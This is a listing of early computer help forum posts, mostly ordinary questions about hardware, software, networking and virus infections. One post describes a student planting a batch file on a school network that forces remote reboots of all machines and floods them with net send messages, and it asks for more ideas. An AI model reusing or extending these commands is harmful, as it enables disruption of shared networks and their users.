Computer Science

i was just wondering what you guys thought was an overally better platform. i'm also curious to know what the differences are because we don't have many macs here on pei (big spot)

For engineering, as a student, which computer platform would be best, do you think. An iBook/Powerbook or a PC laptop? Just curious to see whats used. Thanks

Hello everyone! I am a self-taught programmer. Two years ago I didn't know anything about computers stuff. But when I got a computer class in my school. I found myslef an IT Profesional (I am not kiddding)... I became more interested to learn more about computers... And I created my very first website on MSN in Jan. 2003. Although it was not a professional, but I didn't give up. In Spetemper 2003 I joind Web Page Club in my high school. Before joining that club I didn't know anything about Web Development.... But after an year, now, I could code my own website in no time... And now I am looking forward to learn C++, to prove myself an IT Profesional!! So …

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Why does'nt Apple design a version of OS X that runs under X86 architecture??

What codec or how should i Play avi in WMPLayer?

Need help connecting my laptop to my desktop via a crosswire. I tried hard but didn't succeed............ Any tips on how to do it ?

I have just made a website; http://www.ictrock.biz.ly but the text doesnt display on the flash opening, however i have uploaded all the .txt files in a txt folder, in the same way that it is on my comp (and it works there) what should i do?

i need a program to make animated gif images do you people know of any good ones that are free??

I am sure my internet connection is perfectly working... but when I try to access Amazon.com, or Amazon.co.uk It takes either a very very long time, or it is mostly unaccessible... I tried ping as well, and the result is 4 times the "request timeout" Can any one try to access Amazon, and see is it accessible?? if you have same result as me or not... May be it is just temporarily down..., but AMazon is really a big site... It seems impossible for this... thx for Any respond Albert

How do you plot the point (0,0) using a line graph?

hey, so i go to a public school and they can piss you off pretty fast. well, the way i see it, the idiots are running windows xp and the whole school is on a network. so i mosy on into the library and type up a nifty little batch file laced with a little visual basic. i set it into system32 and watch the idiots screw themselves over. here are the dos commands i used @echo off :1 shutdown -r -f -m \\* -c "whatever" :2 net send * windows would like to take a nap now!!! net send * Goodbye!!! goto 2 if any of you nice people have done something like this at work or school or would like to give me some ideas on what to stick in it, it would be awesome. and …

On my other computer I recently downloaded DX9. After it finished downloading the computer went to its windows start up screen and will not do anything past that when i start it up. When I start it up I go to the windowsME start up screen and it freezes, when I touch any button the computer does not respond. But when I touch the shutoff button it immediatly goes off, instead of the normal few second delay. Any ideas? I have called around but every place I call wants to charge me a ridiculous amount of money to even look at it. The computer is only 2 years old, my warranty is up, but I would like to fix the problem myself if I can. The computer uses Mccafree(sp?) …

As stated in the topic, how to do this?? for both Audio and Video?? Albert

Today, when I was checking my email inbox, I received an email from xxxxx@...com. I clicked on it and the email contained a file. xxxx.pif. I know it probably is an inflected file, I was too mischievous and used the yahoo to scan it. The fact is.... it is an inflected file. Does the yahoo have a very strong virus detector, even better than ours?

My parents just received a few emails on their computer from someone saying they had received emails from my parents with a virus. My parents hadn't emailed them in a long time. Then the E-mail part of Norton Anti-virus quit working. I rebooted it in safe mode and the thing said that windows needed to be reactivated because of "significant hardware changes." Norton AV said it had been tampered and needed to be reinstalled. WHAT SHOULD I DO? I'm looking at Symantec's site to see what it says and what virus it is...

What exactly is binary (I know it's a code that computers use to share and store data), but how does it work, what is it (as in is it electrical signals or something?), and what is the codes, and how does a computer know what 1's and 0's are?

I have read some networking books now, and I know forming network with higher bandwith is mainly due to the quality of lines and its quantity..... but, when we form a network like this, it is only a local network..... how do we connect this network to the world wide web? or in another saying... How does the ISP connect to the World Wide Web while its customers connecting to him as a subnetwork? Albert

I have got Trojen Horse virus in my msdos.exe file placed in system32 folder. can i delete that file without causing damage to my computer. Thanks in advance.

as stated in the topic.... just wondering about it...

Question as stated in the topic Secondly, what do we learn in general in computer science and in computer engineering? Albert

Hi, Few other people are using my computer as well. If one of them installs a kind of software, which spies on my everything, for example like stealing my password or finding which sites I have visited or whatever I have done on my computer. My question is how can I know that such kind of software is installed on my system, as such kind of software is normally hidden. Thanks in advance.

I'm having a reoccurring problem of configuring EDS I-DEAS to work when the license server (Flexim) is separated by a firewall (ZA Pro).... sharing as much resources, opening ports etc. does not seem to produce a solution (all typical sols seem to fail, even opening a pipe with absolutely no protection does not help) ... so I'm getting the idea that something else is causing a problem rather than having something closed with ought not be ... anyone had any similar experiences with license servers ?

On Sayonara³'s website it says that Internet Explorer is a very weak browser. What's wrong with it. What are some other browsers and what are the advantages to them.

im going to be getting a spare computer in the next few weeks... 450MHz one or two hundred MB RAM, so its not that good, not worth much either, what can i do with it?? i could use it, but what experiments can you do, like taking apart the computer, overclocking it etc.... what should i do with it?